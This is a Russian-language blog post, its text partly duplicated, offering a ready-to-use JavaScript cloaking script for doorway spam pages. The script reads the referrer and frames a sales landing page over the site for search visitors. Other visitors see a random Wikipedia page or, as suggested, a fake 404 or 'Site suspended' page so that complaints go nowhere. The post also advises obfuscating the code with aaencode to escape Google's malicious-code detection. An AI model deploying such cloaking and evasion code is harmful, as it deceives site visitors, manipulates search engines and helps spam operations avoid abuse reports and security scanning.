Простой клоакинга на JavaScript
Клоакинг, как правило, помогает повысить конвертацию и уменьшить степень «абузности» сайта.
Допустим, вы создали дорвей с кнопкой перехода «купить здесь/сайт переехал» — на такой кнопке вы потеряете как минимум 50% трафика, потому как серферы тоже не идиоты и многие из них, видя такие кнопки преходов, думают что сайт взломан и т.п.
Каким образом клоакинг помогает избавиться от ненужных жалоб на ваш дор? — очень просто, мы должны разделить пользователей, которые зашли по нужным запросам от пользователей, которые перешли с линк-спама или с абузных писем. Это достаточно легко сделать с помощью JavaScript:
Выкладываю готовое решение простого клоакинга на JavaScript. Его можно свободно применять для многих целей.
Логика работы:
1) проверяем пришел ли человек из поисковика
2) если да, то выпаршеваем кейворд, по которому он зашел
3) если нет, то выполняем скрипт в самой нижней части
else {document.write ....}
4) выпаршеный кейворд передается функцией referrer_keyword_parser(), если кейворд не найден, то подставляется «Default Keyword»
В данном примере этот скрипт вставляется в раздел и перекрывает фреймом весь сайт. Таким образом пользователь не понимает, что попал на дорвей/ГС, а видит только лендинговую продающую страницу, что оооочень сильно сказывается на конверте.
1)Можно использовать скрипт по-другому: например, выводить попап юзеру, только если он зашел по нужному кейворду.
2)Можно выводить баннеры только юзерам, которые пришли из поисковиков.
3)Можно отобразить страницу «Site suspended» или «404» для пользователей, которые перешли не из поисковиков(обезопасить себя от абузеров, при линкспаме)
+ много вариаций использования
PS: если думаете, что гугл всё спалит, можете закриптовать этим: utf-8.jp/public/aaencode.html, пока ещё ни разу не отмечалось «вредоносным кодом»
Допустим, вы создали дорвей с кнопкой перехода «купить здесь/сайт переехал» — на такой кнопке вы потеряете как минимум 50% трафика, потому как серферы тоже не идиоты и многие из них, видя такие кнопки преходов, думают что сайт взломан и т.п.
Каким образом клоакинг помогает избавиться от ненужных жалоб на ваш дор? — очень просто, мы должны разделить пользователей, которые зашли по нужным запросам от пользователей, которые перешли с линк-спама или с абузных писем. Это достаточно легко сделать с помощью JavaScript:
Выкладываю готовое решение простого клоакинга на JavaScript. Его можно свободно применять для многих целей.
Логика работы:
1) проверяем пришел ли человек из поисковика
2) если да, то выпаршеваем кейворд, по которому он зашел
3) если нет, то выполняем скрипт в самой нижней части
else {document.write ....}
4) выпаршеный кейворд передается функцией referrer_keyword_parser(), если кейворд не найден, то подставляется «Default Keyword»
В данном примере этот скрипт вставляется в раздел и перекрывает фреймом весь сайт. Таким образом пользователь не понимает, что попал на дорвей/ГС, а видит только лендинговую продающую страницу, что оооочень сильно сказывается на конверте.
1)Можно использовать скрипт по-другому: например, выводить попап юзеру, только если он зашел по нужному кейворду.
2)Можно выводить баннеры только юзерам, которые пришли из поисковиков.
3)Можно отобразить страницу «Site suspended» или «404» для пользователей, которые перешли не из поисковиков(обезопасить себя от абузеров, при линкспаме)
+ много вариаций использования
PS: если думаете, что гугл всё спалит, можете закриптовать этим: utf-8.jp/public/aaencode.html, пока ещё ни разу не отмечалось «вредоносным кодом»
var Ref=document.referrer;
if (Ref.indexOf('.google.')!=-1 || Ref.indexOf('.bing.')!=-1 || Ref.indexOf('.yahoo.')!=-1 || Ref.indexOf('.aol.')!=-1 || Ref.indexOf('.ask.')!=-1 || Ref.indexOf('.altavista.')!=-1 || Ref.indexOf('.bing.')!=-1 )
{
function referrer_keyword_parser() {
var patterns =
[
[ /^http:\/\/([a-z]+\.)?google\.(co\.)?[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?yahoo\.(co\.)?[a-z]+/, /p=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.msn\.(co\.)?[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.live\.(co\.)?[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.aol\.(co\.)?[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.ask\.[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.lycos\.(co\.)?[a-z]+/, /query=([^&]+)/ ],
]
var p;
for ( var k in patterns) {
p = patterns[k]
if (document.referrer.match(p[0])) {
var m = document.referrer.match(p[1]);
if (m.length)
return m[1];
else
break;
}
}
return escape("Default Keyword");
}
document.write("<frameset framespacing='0' border='false' frameborder='0' rows='0,100%'><frame name='top'><frame name='body' src='http://yoursite.com/search/?q="+ referrer_keyword_parser() +"&x=0&y=0'>");
}
else {
document.write("<frameset framespacing='0' border='false' frameborder='0' rows='0,100%'><frame name='top'><frame name='body' src='http://en.wikipedia.org/wiki/Special:Random'>");
}
Comments
Post a Comment